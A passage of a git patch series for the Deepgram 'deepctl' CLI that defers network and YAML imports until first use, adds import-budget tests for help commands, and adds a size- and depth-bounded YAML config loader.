 class BrowserCommand(BaseCommand):
     """Debug browser-related connectivity and access issues."""
 
@@ -106,6 +122,8 @@ def find_available_port(self, start_port: int = 3000) -> int:
 
     async def websocket_handler(self, request: Any) -> Any:
         """Handle WebSocket connections from the browser."""
+        from aiohttp import WSMsgType, web
+
         ws = web.WebSocketResponse()
         await ws.prepare(request)
         self.ws_clients.add(ws)
@@ -174,6 +192,8 @@ async def websocket_handler(self, request: Any) -> Any:
 
     async def http_handler(self, request: Any) -> Any:
         """Serve the debug HTML page."""
+        from aiohttp import web
+
         if request.path == "/":
             # Read the HTML template from the static directory
             try:
@@ -189,6 +209,10 @@ async def http_handler(self, request: Any) -> Any:
 
     async def run_servers(self, port: int, timeout: int) -> dict[str, Any]:
         """Run both HTTP and WebSocket servers."""
+        import asyncio
+
+        from aiohttp import web
+
         # Create aiohttp app
         app = web.Application()
         app.router.add_get("/", self.http_handler)
@@ -333,6 +357,8 @@ def handle(
         **kwargs: Any,
     ) -> Any:
         """Handle browser debug command execution."""
+        import asyncio
+
         port = kwargs.get("port")
         no_browser = kwargs.get("no_browser", False)
         timeout = kwargs.get("timeout", 60)
diff --git a/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py b/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
index 336ff517..3edc4ed7 100644
--- a/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
+++ b/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
@@ -10,8 +10,6 @@
 from typing import Any
 from urllib.parse import urlparse
 
-import requests
-import urllib3
 from deepctl_core import AuthManager, BaseCommand, Config, DeepgramClient
 from rich.console import Console
 from rich.panel import Panel
@@ -210,6 +208,9 @@ def handle(
 
     def _collect_environment_info(self, result: NetworkDebugResult) -> None:
         """Collect environment information."""
+        import requests
+        import urllib3
+
         result.environment_info = {
             "python_version": sys.version,
             "platform": sys.platform,
@@ -264,6 +265,8 @@ def _test_basic_connectivity(
         self, hostname: str, result: NetworkDebugResult, timeout: int
     ) -> None:
         """Test basic HTTPS connectivity."""
+        import requests
+
         endpoint_test = EndpointTestResult(
             name="HTTPS", url=f"https://{hostname}", reachable=False
         )
@@ -410,6 +413,8 @@ def _test_revocation_endpoints(
         simulate_blocked_crl: bool = False,
     ) -> None:
         """Test accessibility of CRL/OCSP/CA issuer endpoints."""
+        import requests
+
         all_endpoints = []
 
         for cert in tls_result.certificate_chain:
@@ -461,6 +466,9 @@ def _test_python_requests(
         self, hostname: str, result: NetworkDebugResult, timeout: int
     ) -> None:
         """Test connectivity using Python requests library."""
+        import requests
+        import urllib3
+
         # Test with SSL verification enabled
         test_with_verify = PythonRequestsTest(
             url=f"https://{hostname}/", success=False, ssl_verify_enabled=True
@@ -662,6 +670,8 @@ def _test_multi_region_latency(
         self, result: NetworkDebugResult, timeout: int
     ) -> None:
         """Test latency to known Deepgram endpoints."""
+        import requests
+
         endpoints = [
             ("api.deepgram.com", "Primary API"),
         ]
diff --git a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
index d17d1889..9a800cdd 100644
--- a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
+++ b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
@@ -2,19 +2,16 @@
 
 from __future__ import annotations
 
-import asyncio
 import socket
 import time
 from typing import Any
 
-from aiohttp import web
 from deepctl_core import AuthManager, BaseCommand, Config, DeepgramClient
 from deepctl_shared_utils import require_ffprobe
 from rich.console import Console
 from rich.panel import Panel
 
 from .models import ProbeDebugResult
-from .proxy import ProbeProxy
 
 console = Console()
 
@@ -97,6 +94,12 @@ def handle(
         **kwargs: Any,
     ) -> Any:
         """Handle debug probe command execution."""
+        import asyncio
+
+        from aiohttp import web
+
+        from .proxy import ProbeProxy
+
         port = kwargs.get("port")
         probe_interval_bytes = kwargs.get("probe_interval_bytes") or 131072
         probe_interval_seconds = kwargs.get("probe_interval_seconds") or 10.0
diff --git a/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/fetcher.py b/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/fetcher.py
index b1dfea16..b7e9b054 100644
--- a/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/fetcher.py
+++ b/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/fetcher.py
@@ -9,7 +9,6 @@
 from pathlib import Path
 from typing import TYPE_CHECKING
 
-import httpx
 import platformdirs
 from rich.console import Console
 
@@ -50,6 +49,8 @@ def _fetch_github_contents(path: str) -> tuple[str, bytes]:
 
     Returns (blob_sha, raw_bytes). Raises on any HTTP error or SHA mismatch.
     """
+    import httpx
+
     url = f"{GITHUB_API_BASE}/{path}"
     resp = httpx.get(
         url,
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/templates_api.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/templates_api.py
index 392b5f98..d7879c73 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/templates_api.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/templates_api.py
@@ -2,8 +2,6 @@
 
 from __future__ import annotations
 
-import httpx
-
 from .models import TemplateDetail, TemplateInfo, TemplateListResponse
 
 BASE_URL = "https://templates.dx.deepgram.com"
@@ -25,6 +23,8 @@ def list_templates(
     Returns:
         Parsed template list response.
     """
+    import httpx
+
     params: dict[str, str | int] = {"page": page, "limit": limit}
     if search:
         params["search"] = search
@@ -47,6 +47,8 @@ def get_template(slug: str) -> TemplateDetail:
     Returns:
         Parsed template detail.
     """
+    import httpx
+
     resp = httpx.get(
         f"{BASE_URL}/api/templates/{slug}",
         timeout=DEFAULT_TIMEOUT,
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 0fec0cd8..fac2995c 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -13,12 +13,11 @@
 
 from __future__ import annotations
 
-import asyncio
 import json
 import sys
 import threading
 from pathlib import Path
-from typing import Any
+from typing import TYPE_CHECKING, Any
 from urllib.parse import urlencode
 
 import click
@@ -50,6 +49,9 @@
 )
 from .models import ListenResult
 
+if TYPE_CHECKING:
+    import asyncio
+
 # Status messages → stderr so stdout stays clean for transcript piping
 status = Console(stderr=True)
 # Structured output (table, json) → stdout
@@ -92,6 +94,16 @@ def _live_connect(url: str, api_key: str | None) -> Any:
     )
 
 
+# asyncio (and with it ssl) loads only when a live stream starts, so
+# `dg listen --help` and the prerecorded path don't import it.
+def __getattr__(name: str) -> Any:
+    if name == "asyncio":
+        import asyncio
+
+        return asyncio
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
 async def _cancel_and_drain(*tasks: asyncio.Task[Any]) -> None:
     """Cancel tasks and consume their terminal exceptions during teardown."""
     for task in tasks:
@@ -771,6 +783,8 @@ def _stream_mic(
             if diarize:
                 status.print("[dim]Speaker labels enabled[/dim]")
 
+        import asyncio
+
         try:
             result = asyncio.run(
                 self._ws_mic(
@@ -841,6 +855,8 @@ async def _ws_mic(
         channels: int,
         caption_writer: StreamingCaptionWriter | None = None,
     ) -> ListenResult:
+        import asyncio
+
         import numpy as np
         import sounddevice as sd
 
@@ -977,6 +993,8 @@ def _stream_stdin(
                 f"[green]✓[/green] Streaming stdin · {model} · send EOF (Ctrl+D) to finish"
             )
 
+        import asyncio
+
         try:
             result = asyncio.run(
                 self._ws_stdin(
@@ -1033,6 +1051,8 @@ async def _ws_stdin(
         channels: int,
         caption_writer: StreamingCaptionWriter | None = None,
     ) -> ListenResult:
+        import asyncio
+
         url = self._ws_url(
             client,
             api_version=api_version,
diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
index ba54fc34..4fab92d7 100644
--- a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/command.py
@@ -2,7 +2,6 @@
 
 from __future__ import annotations
 
-import asyncio
 import os
 import signal
 import sys
@@ -36,6 +35,17 @@
 if TYPE_CHECKING:
     pass
 
+
+# asyncio (and with it ssl) loads only when the proxy runs, so `dg mcp
+# --help` doesn't import it.
+def __getattr__(name: str) -> Any:
+    if name == "asyncio":
+        import asyncio
+
+        return asyncio
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
 # Use stderr for all output: when `dg mcp --transport stdio` is invoked by an
 # MCP host (Claude Desktop, Codex, etc.), stdout is the JSON-RPC protocol
 # channel and must not receive any human-readable messages.
@@ -219,6 +229,8 @@ def handle(
         )
         signal.signal(signal.SIGTERM, self._handle_shutdown)
 
+        import asyncio
+
         # From here on only JSON-RPC reaches the client: anything else
         # written to stdout (fd 1) goes to stderr.
         protocol = isolate_stdout()
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/__init__.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/__init__.py
index ba863be1..b2b755ef 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/__init__.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/__init__.py
@@ -1,14 +1,40 @@
-"""Update command for deepctl."""
-
-from .command import UpdateCommand
-from .installation import InstallationDetector, InstallationInfo, InstallMethod
-from .models import UpdateResult
-from .plugin_update_check import (
-    check_plugins_and_notify,
-    print_pending_plugin_notifications,
-)
-from .startup_check import check_and_notify, print_pending_notification
-from .version_check import VersionChecker, VersionInfo, format_version_message
+"""Update command for deepctl.
+
+The names below load on first use (PEP 562), so importing
+``deepctl_cmd_update.startup_check``, which ``dg`` does on every run, doesn't
+also import the update command and its dependencies.
+"""
+
+from __future__ import annotations
+
+import importlib
+from typing import TYPE_CHECKING, Any
+
+if TYPE_CHECKING:
+    from .command import UpdateCommand
+    from .installation import InstallationDetector, InstallationInfo, InstallMethod
+    from .models import UpdateResult
+    from .plugin_update_check import (
+        check_plugins_and_notify,
+        print_pending_plugin_notifications,
+    )
+    from .startup_check import check_and_notify, print_pending_notification
+    from .version_check import VersionChecker, VersionInfo, format_version_message
+
+_LAZY = {
+    "UpdateCommand": ".command",
+    "InstallationDetector": ".installation",
+    "InstallationInfo": ".installation",
+    "InstallMethod": ".installation",
+    "UpdateResult": ".models",
+    "check_plugins_and_notify": ".plugin_update_check",
+    "print_pending_plugin_notifications": ".plugin_update_check",
+    "check_and_notify": ".startup_check",
+    "print_pending_notification": ".startup_check",
+    "VersionChecker": ".version_check",
+    "VersionInfo": ".version_check",
+    "format_version_message": ".version_check",
+}
 
 __all__ = [
     "InstallMethod",
@@ -24,3 +50,18 @@
     "print_pending_notification",
     "print_pending_plugin_notifications",
 ]
+
+
+if not TYPE_CHECKING:
+
+    def __getattr__(name: str) -> Any:
+        module = _LAZY.get(name)
+        if module is None:
+            raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+        value = getattr(importlib.import_module(module, __name__), name)
+        globals()[name] = value
+        return value
+
+
+def __dir__() -> list[str]:
+    return sorted(set(globals()) | set(__all__))
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
index 702ec842..10743c6d 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
@@ -1,6 +1,5 @@
 """Update command implementation."""
 
-import asyncio
 import importlib.metadata
 import shlex
 import subprocess
@@ -23,6 +22,16 @@
 from .version_check import VersionChecker, format_version_message
 
 
+# asyncio (and with it ssl) loads only when an update check runs, so
+# `dg update --help` doesn't import it.
+def __getattr__(name: str) -> Any:
+    if name == "asyncio":
+        import asyncio
+
+        return asyncio
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
 class UpdateCommand(BaseCommand):
     """Check for and install updates."""
 
@@ -79,6 +88,8 @@ def handle(
         status="cancelled" (exit 2). output_result unwraps either, so the
         JSON payload is the same shape from both.
         """
+        import asyncio
+
         console = get_console()
 
         # Extract arguments from kwargs
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
index 00dd191a..ce3e5df5 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
@@ -2,7 +2,6 @@
 
 from datetime import datetime, timedelta, timezone
 
-import httpx
 from deepctl_core import Config
 from packaging import version
 from pydantic import BaseModel, Field
@@ -103,6 +102,8 @@ async def _check_pypi(self) -> VersionInfo | None:
         Returns:
             VersionInfo or None on error
         """
+        import httpx
+
         try:
             async with httpx.AsyncClient() as client:
                 response = await client.get(
@@ -149,6 +150,8 @@ async def _check_github_releases(self) -> VersionInfo | None:
         Returns:
             VersionInfo or None on error
         """
+        import httpx
+
         try:
             async with httpx.AsyncClient() as client:
                 response = await client.get(
diff --git a/packages/deepctl-shared-utils/src/deepctl_shared_utils/validation.py b/packages/deepctl-shared-utils/src/deepctl_shared_utils/validation.py
index bcb33fcf..e0284f99 100644
--- a/packages/deepctl-shared-utils/src/deepctl_shared_utils/validation.py
+++ b/packages/deepctl-shared-utils/src/deepctl_shared_utils/validation.py
@@ -5,8 +5,6 @@
 from pathlib import Path
 from urllib.parse import urlparse
 
-import httpx
-
 from .diagnostics import create_diagnostic_console
 from .models import FileInfo
 
@@ -171,6 +169,8 @@ def _check_url_accessibility(url: str) -> bool:
     Returns:
         True if accessible, False otherwise
     """
+    import httpx
+
     try:
         console.print("[dim]Checking URL accessibility...[/dim]")
 
diff --git a/tests/unit/test_command_imports.py b/tests/unit/test_command_imports.py
new file mode 100644
index 00000000..34edc514
--- /dev/null
+++ b/tests/unit/test_command_imports.py
@@ -0,0 +1,105 @@
+"""Command modules import no network stack at module level.
+
+``dg <cmd> --help`` imports the command's module, so a module-level
+``asyncio``, ``ssl``, ``httpx``, ``websockets`` or Deepgram SDK import is
+paid by every help and every run of that command. Each built-in module in
+the manifest is imported in a fresh interpreter and must leave all of them
+out of ``sys.modules``; they belong inside the functions that use them.
+"""
+
+from __future__ import annotations
+
+import os
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+from deepctl import _manifest
+
+FORBIDDEN = ("asyncio", "ssl", "httpx", "websockets", "deepgram")
+
+CHECK = (
+    "import importlib, sys; importlib.import_module(sys.argv[1]); "
+    "bad = sorted({m for m in sys.modules for f in sys.argv[2:] "
+    "if m == f or m.startswith(f + '.')}); "
+    "print(' '.join(bad)); sys.exit(1 if bad else 0)"
+)
+
+
+def _env(tmp_path: Path) -> dict[str, str]:
+    env = {
+        k: v for k, v in os.environ.items() if not k.startswith(("DEEPGRAM_", "PYTHON"))
+    }
+    env.update(
+        HOME=str(tmp_path),
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+    )
+    return env
+
+
+@pytest.mark.parametrize(
+    "module", sorted({entry["module"] for entry in _manifest.commands().values()})
+)
+def test_command_module_imports_no_network_stack(module: str, tmp_path: Path) -> None:
+    proc = subprocess.run(
+        [sys.executable, "-c", CHECK, module, *FORBIDDEN],
+        capture_output=True,
+        text=True,
+        env=_env(tmp_path),
+        timeout=120,
+    )
+    assert proc.returncode == 0, f"{module} imports: {proc.stdout}{proc.stderr[-1500:]}"
+
+
+SUBHELP_FORBIDDEN = ("deepgram", "httpx", "keyring", "rich.traceback", "asyncio", "ssl")
+ENTRY = "import sys; from deepctl.main import main; sys.exit(main())"
+
+
+def _help_imports(path: list[str], tmp_path: Path) -> subprocess.CompletedProcess[str]:
+    code = (
+        "import sys; sys.argv = ['dg', *sys.argv[1:], '--help']; "
+        "from deepctl.main import main\n"
+        "try:\n    main()\nexcept SystemExit as e:\n    assert not e.code, e.code\n"
+        f"bad = sorted({{m for m in sys.modules for f in {SUBHELP_FORBIDDEN!r} "
+        "if (m == f or m.startswith(f + '.')) and sys.modules[m] is not None})\n"
+        "sys.stderr.write('BAD ' + ' '.join(bad) + chr(10)); sys.exit(1 if bad else 0)"
+    )
+    return subprocess.run(
+        [sys.executable, "-c", code, *path],
+        capture_output=True,
+        text=True,
+        env=_env(tmp_path),
+        stdin=subprocess.DEVNULL,
+        timeout=120,
+    )
+
+
+@pytest.mark.parametrize("command", sorted(_manifest.top_level()))
+def test_command_help_imports_no_network_stack(command: str, tmp_path: Path) -> None:
+    """`dg <cmd> --help` for every built-in: the T3 forbidden list."""
+    proc = _help_imports([command], tmp_path)
+    assert proc.returncode == 0, proc.stderr[-1500:]
+
+
+@pytest.mark.xfail(
+    strict=True,
+    reason=(
+        "the debug group callback builds an API client before a subcommand's "
+        "--help, which imports httpx, ssl and keyring (pre-existing; followup "
+        "W3.2-r1 N2)"
+    ),
+)
+@pytest.mark.parametrize(
+    "path",
+    sorted(p.split(" ") for p in _manifest.commands() if " " in p),
+    ids=lambda p: " ".join(p),
+)
+def test_subcommand_help_imports_no_network_stack(
+    path: list[str], tmp_path: Path
+) -> None:
+    """`dg <group> <sub> --help` for every built-in subcommand."""
+    proc = _help_imports(path, tmp_path)
+    assert proc.returncode == 0, proc.stderr[-1500:]
diff --git a/tests/unit/test_import_budget.py b/tests/unit/test_import_budget.py
index 1a19a49d..c71698d5 100644
--- a/tests/unit/test_import_budget.py
+++ b/tests/unit/test_import_budget.py
@@ -225,3 +225,12 @@ def test_root_help_imports(tmp_path: Path) -> None:
 def test_version_imports_no_command_module(tmp_path: Path) -> None:
     _, modules = _imports(["--version"], tmp_path)
     assert not [m for m in modules if m.startswith(("deepctl_cmd_", "deepctl_plugin"))]
+
+
+def test_subcommand_help_imports(tmp_path: Path) -> None:
+    """`dg transcribe --help` (the T3 row): no network stack, no SDK."""
+    proc, modules = _imports(["transcribe", "--help"], tmp_path)
+    assert proc.returncode == 0, proc.stderr[-2000:]
+    assert _forbidden_hits(modules, GATES_IMPORTS["forbidden"]["subhelp"]) == []
+    commands = {m.split(".")[0] for m in modules if m.startswith("deepctl_cmd_")}
+    assert commands == {"deepctl_cmd_transcribe", "deepctl_cmd_listen"}

From 394f6c2013b2885dd075a663ab9bb68a45e56dfe Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 03:18:01 -0500
Subject: [PATCH 09/88] perf(core): load config without pydantic on the help
 path

Config(scan_only=True) reads the user file and deepgram.yaml and runs
the same trust, permission, custom-key and project-file checks as a full
load, queueing the same notices, but doesn't build the settings. It
merges a file's data only when the merge could fail, so a file the merge
can't take prints the same warning; the environment and --base-url
steps, which only set values, are skipped. A scan-only Config keeps
config_path and user_config_text for telemetry and raises if its
settings are read.

The settings models move to deepctl_core.config_models and load on first
use; yaml loads when a file is parsed. deepctl_core.config and
_plugin_trust import neither, and the old import paths still work.

setup_output() stores quiet on the lazy console instead of building the
rich Console, which is applied when the console is first used.
---
 .../src/deepctl_core/_config_loader.py        | 120 ++++
 .../src/deepctl_core/_plugin_trust.py         |   7 +-
 .../deepctl-core/src/deepctl_core/config.py   | 351 ++++++-----
 .../src/deepctl_core/config_models.py         |  83 +++
 .../deepctl-core/src/deepctl_core/output.py   |  14 +-
 .../tests/unit/test_config_scan.py            | 585 ++++++++++++++++++
 .../deepctl-core/tests/unit/test_output.py    |  67 +-
 7 files changed, 1036 insertions(+), 191 deletions(-)
 create mode 100644 packages/deepctl-core/src/deepctl_core/_config_loader.py
 create mode 100644 packages/deepctl-core/src/deepctl_core/config_models.py
 create mode 100644 packages/deepctl-core/tests/unit/test_config_scan.py

diff --git a/packages/deepctl-core/src/deepctl_core/_config_loader.py b/packages/deepctl-core/src/deepctl_core/_config_loader.py
new file mode 100644
index 00000000..2a1e388f
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/_config_loader.py
@@ -0,0 +1,120 @@
+"""The bounded YAML loaders behind every config parse.
+
+Kept out of ``deepctl_core.config`` so that importing it doesn't import
+yaml: ``config._loaders()`` imports this module the first time a file is
+parsed. The loaders are used only through ``config._yaml_from_text`` and
+``config.load_config_text``, which add the byte cap and the size and depth
+walk.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+import yaml
+
+from .config import (
+    _FLOAT_PATTERN,
+    _FLOAT_TAG,
+    _INT_PATTERN,
+    _INT_TAG,
+    _MAX_CONFIG_DEPTH,
+    _MAX_CONFIG_NODES,
+    _MAX_NUMBER_CHARS,
+    _MERGE_TAG,
+    ConfigTooLarge,
+)
+
+
+class _ConfigLoader(yaml.SafeLoader):
+    """SafeLoader for config files, bounded while it loads.
+
+    - Merge keys (``<<``): every merged entry in the document counts against
+      one budget. Each merged mapping is flattened first (its own merges
+      resolved) and charged at that full size before PyYAML copies it, so
+      neither one mapping merging many aliases, nor many mappings each
+      merging one, nor merges nested inside merges can grow past the node
+      limit.
+    - Nesting and size: the composer refuses a node more than 32
+      collections deep, flow or block, before the scanner reads any deeper,
+      and stops after 10,000 nodes.
+    - Numbers: no sexagesimal forms, and at most 64 characters.
+    """
+
+    def __init__(self, stream: Any) -> None:
+        super().__init__(stream)
+        self._merged = 0
+        self._depth = 0
+        self._nodes = 0
+
+    def compose_node(self, parent: Any, index: Any) -> Any:
+        self._nodes += 1
+        if self._nodes > _MAX_CONFIG_NODES + 1:  # the root, plus the limit
+            raise ConfigTooLarge("config too large")
+        self._depth += 1
+        try:
+            # 32 nested collections, plus the scalar inside the last one.
+            if self._depth > _MAX_CONFIG_DEPTH + 1:
+                raise ConfigTooLarge("config nested too deeply")
+            return super().compose_node(parent, index)
+        finally:
+            self._depth -= 1
+
+    def flatten_mapping(self, node: yaml.MappingNode) -> None:
+        for key_node, value_node in node.value:
+            if key_node.tag != _MERGE_TAG:
+                continue
+            if isinstance(value_node, yaml.SequenceNode):
+                merged = value_node.value
+            else:
+                merged = [value_node]
+            for sub in merged:
+                if isinstance(sub, yaml.MappingNode):
+                    # Charge what will be copied: its own merges first.
+                    self.flatten_mapping(sub)
+                    self._merged += len(sub.value)
+                    if self._merged > _MAX_CONFIG_NODES:
+                        raise ConfigTooLarge("config too large")
+        super().flatten_mapping(node)  # nested merges come back through here
+
+    def construct_yaml_int(self, node: Any) -> Any:
+        if len(self.construct_scalar(node)) > _MAX_NUMBER_CHARS:
+            raise ConfigTooLarge("config number too long")
+        return super().construct_yaml_int(node)
+
+    def construct_yaml_float(self, node: Any) -> Any:
+        if len(self.construct_scalar(node)) > _MAX_NUMBER_CHARS:
+            raise ConfigTooLarge("config number too long")
+        return super().construct_yaml_float(node)
+
+
+# A copied resolver table for this loader only; yaml.SafeLoader is untouched.
+_ConfigLoader.yaml_implicit_resolvers = {
+    first: [
+        (tag, regexp) for tag, regexp in resolvers if tag not in (_INT_TAG, _FLOAT_TAG)
+    ]
+    for first, resolvers in yaml.SafeLoader.yaml_implicit_resolvers.items()
+}
+_ConfigLoader.add_implicit_resolver(_INT_TAG, _INT_PATTERN, list("-+0123456789"))
+_ConfigLoader.add_implicit_resolver(_FLOAT_TAG, _FLOAT_PATTERN, list("-+0123456789."))
+_ConfigLoader.add_constructor(_INT_TAG, _ConfigLoader.construct_yaml_int)
+_ConfigLoader.add_constructor(_FLOAT_TAG, _ConfigLoader.construct_yaml_float)
+
+
+class _KeyWatchingLoader(_ConfigLoader):
+    """_ConfigLoader that notes a watched key repeated in one mapping."""
+
+    def __init__(self, stream: Any, watch: frozenset[str]) -> None:
+        super().__init__(stream)
+        self._watch = watch
+        self.repeated_key = False
+
+    def construct_mapping(self, node: Any, deep: bool = False) -> Any:
+        seen: set[str] = set()
+        for key_node, _ in node.value:
+            if isinstance(key_node, yaml.ScalarNode):
+                key = key_node.value
+                if key in self._watch and key in seen:
+                    self.repeated_key = True
+                seen.add(key)
+        return super().construct_mapping(node, deep=deep)
diff --git a/packages/deepctl-core/src/deepctl_core/_plugin_trust.py b/packages/deepctl-core/src/deepctl_core/_plugin_trust.py
index fd337cec..f86740df 100644
--- a/packages/deepctl-core/src/deepctl_core/_plugin_trust.py
+++ b/packages/deepctl-core/src/deepctl_core/_plugin_trust.py
@@ -10,8 +10,6 @@
 import os
 from pathlib import Path
 
-import yaml
-
 from . import config as _config
 from .output import is_ai_agent
 
@@ -67,7 +65,10 @@ def allow_override_names() -> frozenset[str]:
             data = root[1] if root is not None else None
         else:
             _, data = _config._read_yaml_fd(_config._default_config_file())
-    except (OSError, ValueError, yaml.YAMLError):
+    except Exception as exc:
+        # OSError, ValueError or a YAML error (yaml loads only with a file).
+        if not _config._is_parse_error(exc):
+            raise
         return frozenset()
     plugins = data.get("plugins") if isinstance(data, dict) else None
     names = plugins.get("allow_override") if isinstance(plugins, dict) else None
diff --git a/packages/deepctl-core/src/deepctl_core/config.py b/packages/deepctl-core/src/deepctl_core/config.py
index 8a6343b4..4b15951b 100644
--- a/packages/deepctl-core/src/deepctl_core/config.py
+++ b/packages/deepctl-core/src/deepctl_core/config.py
@@ -23,15 +23,16 @@
 import time
 from contextlib import contextmanager, suppress
 from pathlib import Path
-from typing import TYPE_CHECKING, Any
+from typing import TYPE_CHECKING, Any, cast
 
 import platformdirs
-import yaml
-from pydantic import BaseModel, Field
 
 if TYPE_CHECKING:
     from collections.abc import Callable, Iterator
 
+    from ._config_loader import _ConfigLoader
+    from .config_models import DeepgramConfig, ProfileConfig
+
 from . import messages as msg
 from .hosts import (
     DEFAULT_BASE_URL,
@@ -45,73 +46,123 @@
     parse_origin,
 )
 
+# The settings models live in config_models (pydantic), imported on first
+# use. Their field names are listed here so the file scan can tell, without
+# them, whether merging a file's data could fail (_merge_is_safe); a unit
+# test keeps the two in step.
+_MODEL_NAMES = frozenset(
+    {
+        "ApiConfig",
+        "DeepgramConfig",
+        "OutputConfig",
+        "PluginConfig",
+        "ProfileConfig",
+        "TelemetryConfig",
+        "ToolsConfig",
+        "UpdateConfig",
+    }
+)
+_PROFILE_FIELDS = frozenset(
+    {"api_key", "project_id", "base_url", "dg_token_expires_at"}
+)
+_OUTPUT_FIELDS = ("format", "color", "quiet", "verbose")
+_SECTION_FIELDS: dict[str, frozenset[str]] = {
+    "output": frozenset(_OUTPUT_FIELDS),
+    "plugins": frozenset({"enabled", "disabled"}),
+    "update": frozenset(
+        {
+            "check_enabled",
+            "check_frequency",
+            "last_check",
+            "installation_method",
+            "installation_path",
+            "cached_version_info",
+        }
+    ),
+    "tools": frozenset({"ffprobe_path"}),
+    "telemetry": frozenset({"enabled"}),
+    "api": frozenset({"allowed_hosts"}),
+}
+_SCALAR_FIELDS = frozenset({"default_profile", "active_profile"})
 
-class ProfileConfig(BaseModel):
-    """Configuration for a specific profile."""
-
-    api_key: str | None = None
-    project_id: str | None = None
-    base_url: str = DEFAULT_BASE_URL
-    dg_token_expires_at: str | None = None
-
-
-class OutputConfig(BaseModel):
-    """Output formatting configuration."""
 
-    format: str = Field(default="json", pattern="^(json|yaml|table|csv)$")
-    color: bool = True
-    quiet: bool = False
-    verbose: bool = False
+def _models() -> Any:
+    """``deepctl_core.config_models``, imported (with pydantic) on first use."""
+    from . import config_models
 
+    return config_models
 
-class PluginConfig(BaseModel):
-    """Plugin configuration."""
 
-    enabled: list[str] = Field(default_factory=list)
-    disabled: list[str] = Field(default_factory=list)
+def _yaml() -> Any:
+    """The yaml module, imported when a file is first parsed or written."""
+    import yaml
 
+    return yaml
 
-class UpdateConfig(BaseModel):
-    """Update configuration."""
 
-    check_enabled: bool = True
-    check_frequency: str = "daily"  # daily, weekly, never
-    last_check: str | None = None
-    installation_method: str | None = None
-    installation_path: str | None = None
-    cached_version_info: dict[str, Any] | None = None
+def _loaders() -> Any:
+    """``deepctl_core._config_loader`` (the bounded YAML loaders), imported
+    with yaml the first time a file is parsed."""
+    from . import _config_loader
 
+    return _config_loader
 
-class ToolsConfig(BaseModel):
-    """External tools configuration."""
 
-    ffprobe_path: str | None = None
+class _NoYamlError(Exception):
+    """Never raised: stands in for yaml.YAMLError while yaml isn't loaded."""
 
 
-class TelemetryConfig(BaseModel):
-    """Telemetry setting, still accepted. This version sends no telemetry."""
+def _yaml_error() -> type[Exception]:
+    """yaml.YAMLError once yaml is imported, otherwise an exception nothing
+    raises: no YAML error can exist before yaml is. For except clauses and
+    isinstance checks, which then catch exactly what they did."""
+    yaml = sys.modules.get("yaml")
+    error = getattr(yaml, "YAMLError", None) if yaml is not None else None
+    return error if isinstance(error, type) else _NoYamlError
 
-    enabled: bool = True
 
+def _is_parse_error(exc: BaseException) -> bool:
+    """An error reading or parsing a YAML file: OSError, ValueError or
+    yaml's own (which can only exist once yaml was imported)."""
+    return isinstance(exc, (OSError, ValueError, _yaml_error()))
 
-class ApiConfig(BaseModel):
-    """API host trust configuration. Read from the user config file only."""
 
-    allowed_hosts: list[str] = Field(default_factory=list)
+def __getattr__(name: str) -> Any:
+    # ``from deepctl_core.config import ProfileConfig`` and the ``yaml``
+    # attribute keep working without loading either at import.
+    if name in _MODEL_NAMES:
+        return getattr(_models(), name)
+    if name == "yaml":
+        return _yaml()
+    if name in ("_ConfigLoader", "_KeyWatchingLoader"):
+        return getattr(_loaders(), name)
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
 
 
-class DeepgramConfig(BaseModel):
-    """Main configuration model."""
+def _merge_is_safe(data: Any) -> bool:
